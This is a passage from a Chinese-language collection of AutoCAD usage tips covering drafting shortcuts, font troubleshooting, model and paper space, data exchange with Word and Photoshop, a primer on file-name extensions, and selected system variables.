第四,不重视空间感与美感训练,也就是只重技术不重艺术与创造。我们对自然界的感受首先是视觉方面的。如果没有美术基础,空间感不强,每天只是瞎做,硬做只能把三维场景做得一塌糊涂。
第五,只学而不用。三维软件的实践性很强,如果只学而不用,就永远也学不好。我们学三维的目的就是为了应用,要学会在用中学习,这样才能提高兴趣,达到好的学习效果。
20.如何将你的AutoCAD绘图加速
随着CAD、CAM在工业生产上应用,对一个工程人员来说不会AutoCAD是不行的,但即使会了速度不快在实际应用中也是不行的。那如何提高速度呢?本人以自己的学习实践来简单谈谈提高速度的几种方法。
一、熟悉对CAD中基本操作命令/快捷图标的使用
这一点大多数人都知道,古人云:熟能生巧。基本命令与快捷图标便是CAD中大家最熟悉的,也应该能熟练掌握了,所以不详谈了。
二、 ACAD.PGP文件修改
大家都知道LINE命令在COMMAND输入时可简化为L,为何会如此呢?因为在AutoCAD中有一个加密文件ACAD.PGP中定义了LINE命令的简写,先找出这个文件打开它。找到“These examples include most frequently used commands.”的提示语,在其下的几行文字就可对简写的定义,记住它的左列是简写命令的文字实现你可以根据你的需要进行修改(当然是你比较熟悉的英文缩写喽),它的右列是默认的命令请不要随意修改。相信这能为你提高一定的速度。
三、对图形夹点操作
夹点,你用过吗?当你用鼠标左键点击图形,图形上便会出现许多方框这些就是夹点。通过控制夹点便能进行一些基本的编辑操作。如:COPY,MOVE,改变图形所在的图层等基本操作。而且不同的图形,还有其特殊的操作。如:直线有延伸操作。
四、大量使用修改命令
对于CAD绘图工作人员来说,一幅图60%--70%是修改只有30%--40%是作图,这一点并不难理解。从图形构成来看图形只有直线与曲线这两种,而曲线又由大量的圆进行剪切而成的,所以一张图最终由直线和圆组成。既然如此作图只需先画圆或直线并确定位置,然后进行一系列操作如:OFFSET, TRIM, FILLET, ARRAY, CHAMFER等,来实现图形。
如一个轴承的绘图,只需两条互相垂直的直线,而后进行OFFSET,FILLET,CHAMFER等一系列操作便能精确的完成轴承的绘制。
五、构建图块来简化绘图工作
图块是CAD操作中比较核心的工作,许多程序员与绘图工作者都建立了各种各样的图块。由于他们的工作给我们的带来了简便,我们能像砖瓦一样使用这些图块。如工程制图中建立各个规格的齿轮与轴承;建筑制图中建立一些门、窗、楼梯、台阶等以便在绘制时方便调用。
在这些图块中其中的柔性块最容易被调用,它其实是用Auto LISP/Visual LISP编写的程序。如要学习我推荐《Visual LISP使用教程》这本书。我主要介绍图形外部块的建立和调用。
1. 建立图样原型的DWG文件并保存(在WBLOCK命令下的操作,要建立图块的基点,以便以后调用)
2. 从INSERTION中向需要图块的图形中加入图块。
通过这两部就能建立并运用图块了。图块的运用将进一步的提高绘图的速度。
21.最简单的CAD图片到WORD转换方法
在CAD中点复制-----转到WORD中选--选择性粘贴-----图片-----将复制后的图片用取消组合-----直到无法再取消组合-----删除阴影----框取-------将线条粗细及填充颜色选好。
这副效果相当好图出来了。
22.AutoCAD应用技巧精选
1. 执行编辑命令,提示选择目标时,用矩形框方式选择,从左向右拖动光标,为&quo
t;窗口Windows“方式,如果从右向左拖动光标,则为”交*Cross“方式。
2. 相对坐标输入点时,在正交状态时,一般输入为:@x,0或@0,y
(例如输入相对坐标“@100,0”表示下一点相对上一点X方向增加100,又如输入相对坐标“@0,50”表示下一点相对上一点Y方向增加50),以上两种情况下,可以直接输入100或50即可实现相同的目的,从而节省输入时间。
3. 在AutoCAD中有时有交*点标记在鼠标点击处产生,用BLIPMODE命令,在提示行下输入OFF可消除它。
4. 有的用户使用AutoCAD时会发现命令中的对话框会变成提示行,如打印命令,控制它的是系统变量CMDDIA,关掉它就行了。
5. 椭圆命令生成的椭圆是以多义线还是以椭圆为实体的是由系统变量PELLIPSE决定,当其为1时,生成的椭圆是PLINE。
6. CMDECHO变量决定了命令行回显是否产生,其在程序执行中应设为0。
7. DIMSCALE决定了尺寸标注的比例,其值为整数,缺省为1,在图形有了一定比例缩放时应最好将其改成为缩放比例。
8.7
CAD的较高版本中提供了形位公差标注,但圆度及同轴度中的圆不够圆,其实,AutoCAD中常见符号定义都在AutoCAD安装目录下SUPPORT子目录下的gdt.shp文件中,其中2号和4号字符定义了圆形的形状,圆的弧度竟为127°,但不太好改正之(如改为90°更不好看)。
9.8 空心汉字字形如使用AutoCAD
R14中的BONUS功能(一定要完全安装AutoCAD,或自定义安装时选了它),有一个TXTEXP命令,可将文本炸为线,对做立体字十分有用。
10. AutoCAD R14的BONUS中有一个ARCTEXT命令,可实现弧形文本输出,使用方法为先选圆弧,再输入文本内容,按OK。
23.在cad 中的中文字体看不见,可能有很多原因。
1.可能没有这个中文的形文件。
2.可能有相应的中文字体,你没有设。
3.可能是你的字库路经被修改。
4.也可能和你的window系统的设置有关
在你没有相应的中文字体的情况下,不要用打开文件命令打开文件,你可以试试用使用工具里的修复命令打开。我原来有些图纸的字体为hztx.shx字体,换一个机子后,没有该字体打开为乱吗,有该命令后,显示正常,但好像是在首次打开时起作用。
1.对于文字每次打开都是?号,关健是你没有设置好字体样式,你在字体样式中以前设置好的中文字体不存在,或根本就没有设置中文字体。所以最好是打开图形后,在格式菜单->字体样式中设置你的中文字体。
关于文字中出现“?”的问题,具体是什么原因不清楚,但我建议你建立自己的模板文件,在模板文件中建立你自己的文字样式,不要使用系统默认的“Standard”文字样式,我一直是这样做的,从来不出问题,因为我认为如果你在输入文字时修改”Standard“样式里的字体,那么在再次打开时,AutoCAD还会以”Standard“样式里默认的”txt.shx“字体去识别文字,那它当然会不认识了,当然这只是我个人的看法,不一定准确,仅供参考。
cad里有一项设置,在工具-选项-字体文件替换里,是关于默认替换字体的,默认的是simplex.shx,当字体样式中的shx字体有缺少的,c
ad就会用simplex.shx来替代,这就是产生乱码的原因,把simplex.shx改为txt.shx会好很多
24.模型与图纸空间的联系和区别
模型空间是放置 AutoCAD 对象的两个主要空间之一。典型情况下,几何模型放置在称为模型空间的三维坐标空间中,而包含模型特定视图和注释的最终布局则位于图纸空间。图纸空间用于创建最终的打印布局,而不用于绘图或设计工作。可以使用布局选项卡设计图纸空间视口。而模型空间用于创建图形,最好在“模型”选项卡中进行设计工作。如果你仅仅绘制二维图形文件,那么在模型空间和图纸空间没有太大差别,都可以进行设计工作。但如果是三维图形设计,那情况就完全不同了,只能在图纸空间进行图形的文字编辑、图形输出等工作。
模型空间与图纸空间的关系是
“模型空间”,就是指你画的实物(因为1:1绘图嘛),比如一个零件、一栋大楼。因为还没造出来,还只是个模型,但它反映了真正的东西,所以叫“模型空间”。
“图纸空间”,就是一般的图纸样子,图纸与实物最简单的区别就是比例。从图纸空间到真正的图纸就是1:1打印。
从模型空间直接打印图纸,*的是打印比例,现在,你完全可以把模型空间到图纸空间也理解成“打印”。而“打印”比例就是视口比例,也就是说,预先把模型打印到图纸空间。
模型空间的图与打印出来的物理图纸是“实物”与图纸的关系,图纸空间与打印出来的物理图纸是电子文件与物理图纸的关系,就像Word文件与打印出来的书面文章之间的关系一样。
这样,模型空间与图纸空间的关系是:
(1)平行关系
模型空间与图纸空间是个平行关系,相当与二张平行放置的纸。
(2)单向关系
如果把模型空间和图纸空间比喻成二张纸的话,模型空间在底部,图纸空间在上部,从图纸空间可以看到模型空间(通过视口),但模型空间看不到图纸空间,因而它们是单向关系。
(3)无连接关系
正因为模型空间和图纸空间相当于二张平行放置的纸张,它们之间没有连接关系,也就是说,要么画在模型空间,要么画在图纸空间。在图纸空间激活视口,然后在视口内画图,它是通过视口画在模型空间上,尽管所处位置在图纸空间,相当于我们面对着图纸空间,把笔伸进视口到达模型空间编辑,这种无连接关系使得明明在图纸空间下仍把它称为模型空间,只是为了区别加个“浮动”。
我们要注意这种无连接关系,它不像图层,尽管对象被放置在不同的层内,但图层与图层之间的相对位置始终保持一致,使得对象的相对位置永远正确。模型空间与图纸空间的相对位置可以变化,甚至完全可以采用不同的坐标系,所以,我们至今尚不能做到部分对象放置在模型空间,部分对象放置在图纸空间。
2002开始,AutoCAD增加了DIMASSOC这个系统变量,在尺寸标注方面有了突破。也即当DIMASSOC=2时,标在图纸空间上的尺寸标注与在模型空间上的被标对象建立了连接关系。
你可以这样理解,想象模型空间就像一张无限大的图纸,你想画的图形尺寸是多少就输入多少,即按1:1绘图,而图纸空间就像一张实际的图纸,如A
1,A2,A3,A4这么大,所以,要想在图纸空间出图,需要在图纸空间内建立视口,目的是将模型空间的图形显示在图纸空间,选中视口的边框,在查看属性即可调整显示比例,也就是说将模型空间的图形缩放你想最终打印出的图纸上(如A1,A2,A3,A4),在图纸空间的同一张图纸上,可多建视口,以设定不同的视图方向,如主视,俯视,右视,左视等。
25.介绍一个计算弧长的方法。
1.只要直接画出待测弧,用lengthen命令(拉长,命令别名:len)直接选取该弧就知道该弧弧长以及对应的圆心角。
2.还有就是用list,别名LI,可以得到圆弧的所有参数,包括圆心、半径、弧长、起角、终角。
3.用pedit(简化命令为PE),选择圆弧,并在提示下输入Y将其转为多段线。
4.用AREA方法中的O选项,选中弧段,就可以显示长度和面积。
这个长度是不用再计算的,也就是弧段的长度。
26.1 AutoCAD中立体文字另类做法
常有朋友问在AutoCAD2002中怎么做立体文字,原因是2002的程序本身少了“快捷工具”,所以不能用“文字分解”功能。2004版的程序中文字分解后会有少线现象,也给做立体文字带来不便。现把另类的做法整理于此,大家不妨试试:
1、文字以“T”字体输入。
2、显示为三维线框图。
3、视点预置,将与XY平面的角度调为89度(原来是90度)。
4、输出为WMF格式文件。
以上为准备阶段。接着可以新建图形文件也可在原来的文件上把上面的文字删除后来做。
5、插入Windows图元文件(WMFIN)。
6、将插入的图分解命令两次。
7、删除字形中的多余线条,文字成空心封闭线。
8、转换成面域,拉伸(EXTRUDE)成三维实体。
26.2安装“快捷工具”时的一种办法(CAD2000)
1.选取字体——宋体
2,用分解文字(快捷工具)将字体分解
3,用炸开功能将字体再炸开,然后将填充线删除
4,将字体创建为面域,
5,用实体命令栏中的拉伸功能将面域拉伸。
6,转换视图
27.什么是文件名后缀
说起来Windows工作界面下的文件名简直是随心所欲,比如:某编辑部的工作计划。文件名即可用中文直接表达,而且长度最长可达256个字符,让人看起来真是一目了然。然而在Windows环境中,安装的软件中却大量存在着类似CALENDAR.EXE、GAMES.GRP等等的文件名,这又是为什么呢?原来这些文件名都是根据DOS环境的文件名命名规则而定的。
DOS环境下的文件名
在DOS下,文件名采用8+3结构,即:最长8位的文件名,由小数点分隔后再跟上最长3位的后缀名,如:READ.ME、SETUP.EXE,一般情况下文件名不允许使用汉字,只能由字母、数字和一些符号组成。如READ.ME用中文理解就是“读我”,即提示用户在使用软件前先看看这个文件的内容,以获取更多的提示信息。而更重要的是,DOS下规定用后缀名来区分各种不同的文件。
在DOS下最容易遇到的首先是可执行文件,后缀名有两类:*.exe、*.com(此处的*表示文件名任意),它们是由汇编语言或其它高级语言编出的程序经过编译后直接在DOS下运行的文件。有时由于软件功能多、内存偏小,不能一次性全部调入内存还
可能有同文件名的ovl文件,如ws.exe、ws.ovl。另外还有一种文件可以直接运行,*.bat,即批处理文件,其中有许多命令或可执行文件名,主要用于提高工作效率,其中最有用的是Autoexec.bat,这个文件在开机时会被自动执行(自动执行在英文中就是Automatically execute)。而另外一种可以加载但不能直接运行的文件即是系统扩展管理文件*.sys(sys即系统system),它主要提供某些非标准设备如鼠标、扩充内存等的驱动程序,如mouse.sys、himem.sys。为了统一管理还专门规定了一个config.sys的文本文件来一次性地在开机时自动调入这些必需的设备驱动程序,这些文件一旦被误删或换名或被病毒侵袭则将直接导致系统工作不正常。
DOS下字处理产生的文件原本是可以不用后缀的,但人们常用*.txt表示(txt即文本text)。被所有的平台和所有应用程序支持。而为了管理方便,人们也可以用自己的名字做后缀来表示是自己建的文本文件,如我输入的很多文章即为*.mcj,为了便于用户在意外删掉原文件的情况下能尽快恢复原文件,许多字处理系统都提供了一种自动备份的功能,如我第二次编辑JIHUA.MCJ时(JIHUA:计划的汉语拼音),系统会先拷贝一份原文件为JIHUA.BAK。使用具有特殊格式功能的字处理软件,如求伯君先生早年推出的WPS,就会规定其后缀为.wps,用以标识是用WPS生成的文本文件。当使用字处理软件编辑高级语言程序时,后缀通常为相应语言的前三个字母(如:*.BAS即BASIC语言源程序,*.PAS为PASCAL语言程序,*.FOR为Fortran语言程序,*.C即为C语言,*.ASM即为汇编语言程序)。
伴随着可执行文件常附有以下几类文件:*.HLP即帮助文件(help)、*.CFG即配置文件(config)、*.DAT即数据文件(data)、*.LOG即日志文件(log)、*.TMP为临时文件(temporal)。
Windows环境下的文件名
绝大多数DOS文件名后缀在Windows下继续有效,但Windows本身也引出了许多种崭新的后缀名,如:*.drv为设备驱动程序(Driver)、*.fon和*.fot都是字库文件、*.grp为分组文件(Group)、*.ini为初始化信息文件 (Initiation)、*.pif为DOS环境下的可执行文件在Windows下执行时所需要的文件格式、*.crd即卡片文件(Card)、*.rec即记录器宏文件(Record)、*.wri即文本文件(Write),它是字处理write.exe生成的文件、*.doc和*.rtf也是文本文件(Document),它们是Word产生的文件、*.cal为日历文件、*.clp是剪贴板中的文件格式、*.htm和 *.html即主页文件、*.par为交换文件、*.pwl为口令文件(Password)等等。
图像文件名后缀进入多媒体世界后,大家会看到各种各样精彩的图片,会发现许多种后缀名。的确,由于各个公司在开发图形有关的软件时都自制标准,导致今日在图形方面有太多的格式,以下就是常见的几种格式:
首先是一种位图文件格式,它是一组点(像素)组成的图像,它们由图像程序生成或在扫描图像时创建。主要有Windows位图(.BMP):由Microsoft公司开发,它被Windows和Windows NT平台及许多应用程序支持。支持32位颜色,用于为Windows界面创建图标的资源文件格式,光标(.CUR、.DLL、.EXE):资源文件格式,用于
创建Windows界面的光标。OS/2位图(.BMP):Microsoft公司和IBM开发的位图文件格式。它为各种操作系统和应用程序所支持。支持压缩,最大的图像像素为64000×64000。画笔(.PCX):由Zsoft公司推出,它对图像数据也进行了压缩,可由PCX生成。用于Windows的画笔。支持24位颜色,最大图像像素是64000×64000。支持压缩。图形交换格式(.GIF): ( Graphics Interchage Format):由Compu Serve创建,它能以任意大小支持图画,通过压缩可节省存储空间,还能将多幅图画存在一个文件中。支持256色,最大图像像素是64000×64000。
Kodak Photo CD(.PCD):Eastman Kodak所开发的位图文件格式,被所有的平台所支持,PCD支持24位颜色,最大的图像像素是2048×3072,用于在CD-ROM上保存照片。
Adobe Photoshop(.PSD):Adobe Photoshop的位图文件格式,被Macintosh和MS Windows平台所支持,最大的图像像素是30000×30000,支持压缩,广泛用于商业艺术。
Macintosh绘画(.MAC):Apple公司所开发的位图文件格式。被Macintosh平台所支持,仅支持单色原图,最大图像像素是576×720。支持压缩,主要用于在Macintosh图形应用程序中保存黑白图形和剪贴画片。
动画文件的后缀名
动画文件格式用于保存包含动画框架中的图形信息。主要有:Autodesk FLIC(.FLC):即.FLI,Autodesk Animator和AnimatorPro的动画文件格式。支持256色,最大的图像像素是64000×64000,支持压缩。广泛用于动画图形中的动画序列、计算机辅助设计和计算机游戏应用程序。不大适合制作真实世界图像动画。
MacPICTS(.PCS,.PIC):Macromedia开发的动画文件格式,为Macintosh应用程序使用。支持256色,支持压缩,用于保存动画数据,是Quick Time的前身。
Microsoft资源互换文件格式,TIFF(.AVD):Microsoft公司开发的动画文件格式,被Windows、Windows NT平台和OS/2多媒体应用程序所支持,支持256色和压缩,用于在多媒体应用程序中保存音频、视频和图形信息。
MPEG(.MPEG):国际标准化组织的运动图像专家小组开发的动画文件格式。被所有平台和Xing Technologies MPEG播放器及其它应用程序所支持,支持压缩,最大图像像素是4095×4094×30帧/每秒。用于编码音频、视频、文本和图形数据。
Quick Time(.QTM):Apple计算机公司开发的动画文件格式。被Apple Macintosh和Microsoft Windows平台所支持,支持25位颜色,最大图像像素是64000×64000,支持压缩,用于保存音频和运动视频信息。
声音文件的后缀名
声音文件格式是用于保存数字音频信息的。它们主要有:
AIFF(.AIF):这是Apple计算机公司开发的声音文件格式,被Macintosh平台和应用程序所支持。支持压缩。
Amiga声音(.SVX):Commodore所开发的声音文件格式,被Amiga平台和应用程序所支持,不支持压缩。
MAC声音(.SND):Apple计算机公司开发的声音文件格式,被Macintosh平台和多种Macintosh应用程序所支持,支持某些压缩。
MIDI(.MID):国际MIDI
协会开发的声音文件格式,被Windows平台和许多应用程序所支持,用于为乐器创建数字声音。
声霸(.VOC):Creative Labs公司开发的声音文件格式,被Windows和DOS平台所支持,支持压缩。
WAVE(.WAV):微软公司用作Windows平台上保存音频信息的资源格式。
压缩文件的后缀名
为了提高存储效率,许多公司都推出了压缩数据的方法和相应的软件,这类文件的使用主要通过压包和解包软件来进行,主要的后缀有:?arj、*.rar、*.lzh、*.jar。还有一些专用的压缩文件,如:*.ex_、*.dl_、*.d3_、*.cab等。
数据库类文件的后缀名
在Dbase、FoxBase、Foxpro系列软件的环境下有以下几类后缀:
.dbf 数据库文件(databasefile) .prg 命令文件(即程序Program)
.fxp 编译后的程序 .scx和.sct 屏幕文件
.fpt 备注字段文件 .frx和.frt 报表文件
.cbx和.pjt 标签文件 .mnx 和.mnt 菜单文件
.pjx和.pjt 工程文件 .app 应用文件
.cdx和.idx 索引文件 .qpr和.qpx SQL查询文件
.fp 配置文件 .ap 生成应用
.err 编译错误文件 .men 内存应用
.fky 键宏文件 .win 窗口文件
.pcb 库文件 .tmp 临时文件
.tbk 临时数据库文件
后记
用户要注意在不同的操作系统下,后缀名的约定会有所不同,如在Unix下,*.p代表Pascal语言程序,*.z代表压缩文件,*.tar代表归档文件。另外,针对极特殊的设备,其驱动程序也会有特殊的后缀,如3DS显示卡的驱动程序是*.exp。还有某些公司针对自己的产品也规定了文件名后缀,如方正公司的图像排版文件规定用*.grh(即Graph)。
文件名的后缀代表着某一种类型的文件,一般会由某一种特定的软件产生和处理。只有对这些后缀名的知识有一定的了解,才能在上机的过程中知道其所以然。这儿带着大家看到了常见的一些后缀类型,实际上还有很多类型,不可能全部讲完。常言说,师傅领进门,修行在个人,以后大家在计算机世界中自己转着看吧。
28.请问渲染后的三维图如何与平面图一起打印出来?
渲染后,选“工具/显示图像/保存”,可存为BMP格式
在布局中插入几个视口,需要用几个视口就插几个
但为了插入位图,视口不可布满
在图纸空间里,选“插入/光栅图像”,置于视口之外就可以了
29.CAD与其它软件数据交换五大密决
提起Autocad的绘图功能,我想没有人会不伸出大拇指的,可在实际运用中我们不仅仅是用到CAD的矢量图,有时也会涉及到各个软件,比如用Photoshop制作彩图,用Word制作图文并茂的说明,但这些软件本身又没有CAD绘制工程图方便,如何能完美地弥补各个软件的缺点,使每个软件都能发挥出最大的优势呢?这就要说到这些软件的数据交换的问题了,下面我就把自己这几年的一些实际经验写出来,希望能够抛砖引玉。
首先我们得明确二个基本概念:
1. 位图与矢量图的区别:
Autocad中的图形都是属于矢量图(和Coreldraw、Freehand、Flash这些软件一样)见图1,简单的说,矢量图的最大的特点就是无论把图形放大多少倍,都不会影响图形的清晰度。而在Photoshop中处理的图像是指位图,位图的清晰度和图片本
身的分辨率有关,如果打印的图片太大,当然图片就会变得模糊了,因为单位面积内的像素点减少了,虽然Photoshop这类软件可以利用间插点增加像素点,但毕竟没法和原图的象素点相比的,有较大的出入,只能说是尽量的改善图面质量罢了。
因此CAD和Photoshop软件的数据交换说到底就是矢量图和位图之间的相互转换了。
2. PostScript和TrueType字体:
从AutocadR14开始,CAD支持PostScript和TrueType字体了,这两种字体都是有填充区的矢量字体,Word这样的软件用的就是TrueType字体,那么为什么会有两种矢量字体呢?PostScript是早期的矢量汉字,它最早是针对苹果机的,那个时候PC机在处理图文方面只能说是个弱智,后来微软公司自己推出了TrueType字体,现在的Word、Excel等都是用的这种了,虽然这两种字体文字漂亮,但你也得花不少的代价,由于它们在CAD中重画和重新生成的时间相当长,因此CAD中并不鼓励大家用这种字体,而使用一种自带的叫.shx的字体格式,它的显示速度就快多了,不过也就没有前面两种字体美观了,如果你在Word中要用到CAD中的图形(如房地产广告中的平面图)那么笔者建议最好在CAD图形中的少量汉字用TrueType字体,这样不会有乱码出现,否则到时急得满头大汗可别说我没提醒你哟!
明白了以上的原理,我们就来谈谈如何实现Autocad的图形与Word或Photoshop这类软件的数据交换的。
一、 直接利用CAD的图形插入位图功能
CAD从十三版开始提供了位图插入功能,方法是选择insert>raster image后,此时会出现一个插入图片的对话框,单击Attach按钮,再按Browse,从硬盘中找出图片的位置,再把位图调入,就OK了,在插入文本时一定要注意字体的选择,否则有可能会出现插入的文字位置不对,如水平排列变成竖直排列,可以使用一些较常用的字体。如果想下载图片可以单击Detach就可以了,当然图片的路径改变了也要记住按一下Rload进行更新哟。再要提一点就是这种插入实际上只是图片的一种链接,图片并不是真正在CAD的图中了,如果你要拷贝的话,除了拷贝Dwg图,还要记住图片呀,另外插入图片都有一个框,不过打印时是没有的,不用担心。
二、 利用OLE功能的粘贴大法
如果大家觉得上面一种方法费劲,我们可以使用任何Windows版的软件试不爽的办法,直接进行贴粘,这是因为几乎所有的Windows版的软件都支持OLE功能。不过字体最好是TrueType字体,以免产生不必要的麻烦。我们在CAD中Command命令行为空的情况下用鼠标拖出窗口,使想要粘贴的图形都在窗口当中(用Crossing window选择也可以),这时会看到图形上出现了许多蓝色的界标点(表示该图形已被选)见图2,单击Edit→copy后,再打开相应的软件如Word,在Word中按“编辑→粘贴”后,你会看到CAD的图形出现在Word中,呀!怎么漆黑一片!不用急,这是因为我们CAD的工作界面是黑色的,进入CAD选Tools→Preferences→Display中选Color项,再在Graphics Window中点一下,然后再单击右边的白色小方块,按确定退出,再重复以上操作,怎么样,咧嘴笑了吧。把Word中文本插入CAD中也可用这种方法,注意粘贴中笔
者建议最好先用Edit→Special paste这一项。笔者还遇到一种情况就是位图明明在上面,但绘图机绘制时就是绘不出,但可以把文本打出,这种情况可以用图片引用的功能解决,出现这种情况我想可能和绘图机的驱动程序有关。此种方法虽然快捷,但插入的图片效果很不好,不清楚,特别是如果放大就更不能看了,所以还是最好用前一种方法,如果你的眼睛和我一样很挑剔的话。
三、 把CAD中的矢量图转换成位图
AutocadR14提供了矢量图转换在位图的功能。在Command:后输入Plot命令,会出现一个绘图的对话框,什么?没有!别忙,输入Cmddia,把系统变量的<0>改为1。(即由命令行形式改为菜单形式),这时我们发现Device and default information(设备及缺省信息)一栏中是Windows98中的打印机,看来我们先得对出图的设备进行一些设置,下面跟我来做,这可是最关键的哟。选择Tools→Preferences选项,进入Printer设置界面,单击New,出现许多输出设备,选择Restarfile export ADI 4.3 - by Autodesk . Inc,你可在Add a description中看到可说明性的文字,然后回车,这时会出现很多选项(见图3)。
Supported models: (选择输出图像的分辨率,如果想自己设定可以选11项)
1. 320 x 200 (CGA/MCGA Color)
9. 1152 x 900 (Sun standard)
10. 1600 x 1280 (Sun hi-res)
11. User-defined
Enter selection, 1 to 11 <1>: 9
You can export the drawing in any of the following raster file
formats. Please select the format you prefer.
1. Microsoft Windows Device-independent Bitmap (.BMP) (生成以Bmp为扩展名的图形文件、
以下选项类似,笔者建议选用Tiff格式)
2. TrueVision TGA Format
3. Z-Soft PCX Format
4. TIFF (Tag Image File Format)
Enter selection, 1 to 4 <1>: 4
The export file can be created as a monochrome or color image.(选择输出图片色位,可用
缺省值)
1. Monochrome
2. Color - 16 colors
3. Color - 256 colors
Enter selection, 1 to 3 <3>: 3
You can specify the background color to be any of AutoCAD's 256 standardcolors. The
default of 0 selects a black screen background.
Enter selection, 0 to 255 <0>(选择图形背景颜色,缺省是黑色)
Sizes are in Inches and the style. is landscape
Plot origin is at (0.00,0.00)
Plotting area is 1024.00 wide by 768.00 high (MAX size)
Plot is NOT rotated
Hidden lines will NOT be removed
Plot will be scaled to fit available area
Do you want to change anything? (No/Yes/File):
如想再修改上面参数可输入Y,否则用N。
完成了以上的设置之后,我们会看到在Plot对话框中的设备栏可选用该设备,后面的工作就如同用
绘图机出图一样,就不废话了。如想修改可单击Modify,再选Reconfig重新配置就可以了。
四、 以PostScript光栅格式输出位图
这种方法完全可以满足用户高精度图片的输出要求,较利于在Photoshop中进行后期
的精加工,但
数据量也大的惊人,随随便便就有二三十兆的文件。它的配置方法和上一种的很像(见图4),在
设备选项中选Postscript. device ADI 4.3 – by Autodesk. IncSupported models:
1.300 dpi
2.600 dpi
3.1270 dpi
4.2540 dpi
Enter selection, 1 to 4 <1>: 2
Do you want color output? 是否要彩色输出
Some PostScript. devices require a special ^Z (control-Z) character
at the end of the file.
Do you wish to append a ^Z? 是否把Ctrl-Z设为文件结束标记
Adobe recommends that a special ^D (control-D) character be added
at the end of the file if the Adobe Standard Protocol is used.
Do you wish to append a ^D?
If you have a roll-fed plotter with Level 2 PostScript. you may want
to limit the paper used to the selected ACAD paper size.
Do you wish to limit the paper used? y是否限制纸张大小
Specify port: (选择输出的端口,注意勿与鼠标等冲突)
erial port (Local).
arallel port (Local).
etwork port.
What is your PostScript. device connected to? S
Do you wish to change the serial port communication parameters? N
Do you wish to change the serial port communication parameters? N
Enter serial port name for plotter or . for none LT1
Do you want to respecify the port? Y
全部设置完之后,在打印对话框中的设备栏选用该项,就可以输出以Eps为扩展名的图片了, 在进入Photoshop中调用时会问你一下图形的分辨率,一般设为150dpi就足够了,太大了你的机器就只会哼哼不会干活了,线的宽度也可以在出图参数中进行设定,可不要太粗了成了死黑一片了,
五、 位图转换成CAD的矢量图
如何把位图转换成CAD的知量图,以方便我们再编辑修改是很多人都梦寐以求的事了,虽然也有这种软件如Vpmax等,不过实际用起来效果并不好。我在这儿告诉诸位一个好方法,利用前面所讲的方法在CAD中调入位图,放大到正确的比例,再用CAD的命令进行描绘,虽然费点劲,不过比起直接绘图起来不知省了多少劲呀!
笔者曾在一天中描完了三张A1工程图哟,收入可颇丰呀,所以大家别小看这种方法。至于如何把图扫描进计算机我也不多说了,图大了可折起来分几次扫,再在Photoshop中拼接(见图5),如果诸位还有什么好的方法可以告诉我哟。
除以上讲的几点以外,CAD还提供了许多种数据格式,如DXF、3DS、DXB等等,它们都对应于不同的软件包,如3DS、3Dmax等,现在出来的3D studio VIZ更是可以直接调用Dwg图,的确解决了数据在转换的过程中由于种种原因而产生信息丢失的问题。我还要说的一点是虽然说Coreldraw与CAD都是矢量图,但它们并不能相互没有区别的,比如Coreldraw8.0能调出CADR12版的Dwg图,而不支持R14版的图形,因此它也需要软件包提供支持的功能,毕竟不是一个公司出品的东西嘛。我想只有完全了解了软件与软件这间的数据转换,你才能更好的利用各个软件包的优点,做出更好的作品。在实际运用中,大家只要多想
多试,我想一定会找出更多的好的方法。
30.AUTOCAD中几个特殊的系统变量或命令
AUTOCAD的版本一跃千里,版本已更新到2004,平时在使用中有些变量或命令如能熟练掌握,也可为我们解决许多意想不到的麻烦。
下面就来详细介绍几个。
1、MBUTTONPAN 系统变量
控制定点设备第三按钮或滑轮的动作响应。
0 支持菜单 (.mnu) 文件定义的动作
1 当按住并拖动按钮或滑轮时,支持平移操作
默认为平移操作。
IntelliMouse 或其他滑轮鼠标
IntelliMouse 是一种双按钮鼠标,在两个按钮之间有一个滑轮。左右按钮的功能和标准鼠标一样。滑轮可以转动或按下。不用任何 AutoCAD 命令而直接使用滑轮就可以缩放和平移图形。
默认情况下,缩放比例设为 10%;每次转动滑轮都将按 10% 的增量改变缩放级别。ZOOMFACTOR 系统变量控制滑轮转动(无论向前还是向后)的增量变化。其数值越大,增量变化就越大。
2、MINSERT 命令
在矩形阵列中插入一个块的多重引用。使用 MINSERT 命令插入的块不能被分解。
注意: 在插入过程中,不能象使用INSERT 命令那样在块名的前面用星号来分解块对象。
在指定插入点位置之前,插入点处的选项将预置块的比例和旋转角。对于使用 1 和 0 之外的比例因子和旋转角来拖动块,预置非常有用。
其它相关命令:INSERT、ADCENTER、REFEDIT。
3、XPLODE 命令
将合成对象分解成它的部件对象。
合成对象由多个(一个以上)AutoCAD 对象组成。例如,块就是一个合成对象。可以同时分解多个合成对象并分别修改每个对象的颜色、图层和线型,或者全局性的修改整个选择集。可以指定颜色、图层线宽和线型,或者从被分解的对象中继承这些属性。
可以使用绝对值相等的缩放比例分解块。绝对值相等表示如果将缩放比例值前的负号 (-) 删除,则比例值相等。例如,可以使用值分别为 1、-1、1 的 X、Y、Z 比例因子分解块,包括被镜像的块。
该命令在中了CAD病毒后同样有效。
其它相关命令:EXPLODE。
4、DBLCLKEDIT 命令
控制双击操作
DBLCLICKEDIT 控制双击对象时是否导致对话框显示。如果双击编辑模式是打开的,将根据双击的对象类型显示一个对话框。
双击大多数对象时,都将显示“特性”窗口。双击某些类型的对象时,将显示专用的编辑器,这些编辑器的功能更强大,使用更方便,也更常用。双击时显示专用编辑器的对象包括:
属性:显示“编辑属性定义”对话框 (DDEDIT)。
块中的属性:显示“增强属性编辑器” (EATTEDIT)
块:显示“参照编辑”对话框 (REFEDIT)。
图案填充:显示“图案填充编辑”对话框 (HATCHEDIT)。
引线文字:显示“多行文字编辑器”对话框 (DDEDIT)。
多线:显示“多线编辑工具”对话框 (MLEDIT)。
多行文字:显示“多行文字编辑器”对话框 (DDEDIT)。
文字:显示“编辑文字”对话框 (DDEDIT)。
外部参照:显示“参照编辑”对话框 (REFEDIT)。
5、CMDDIA 系统变量
控制是否为 PLOT 和外部数据库命令打开对
话框。
该变量只在CAD2000以下版本有效。
另外,CAD2000以上版本如果在选项-系统对话框中设置不显示启动对话框,new命令对话框将会实效。
6、FILEDIA 系统变量
控制是否显示文件对话框。如MENULOAD对话框。
0 不显示对话框。用户仍然可以在相应命令提示时输入波浪号 (~) 以显示文件对话框。这种方法同样适用于 AutoLISP 和 ADS 函数。
1 显示文件对话框。但是,如果正在执行一个脚本或 AutoLISP/ObjectARX? 程序,AutoCAD 将显示通常状况下的提示。
除了以上几个命令和变量外,以下几个命令和变量如果了解了,对以后工作也会带来很大的便利:
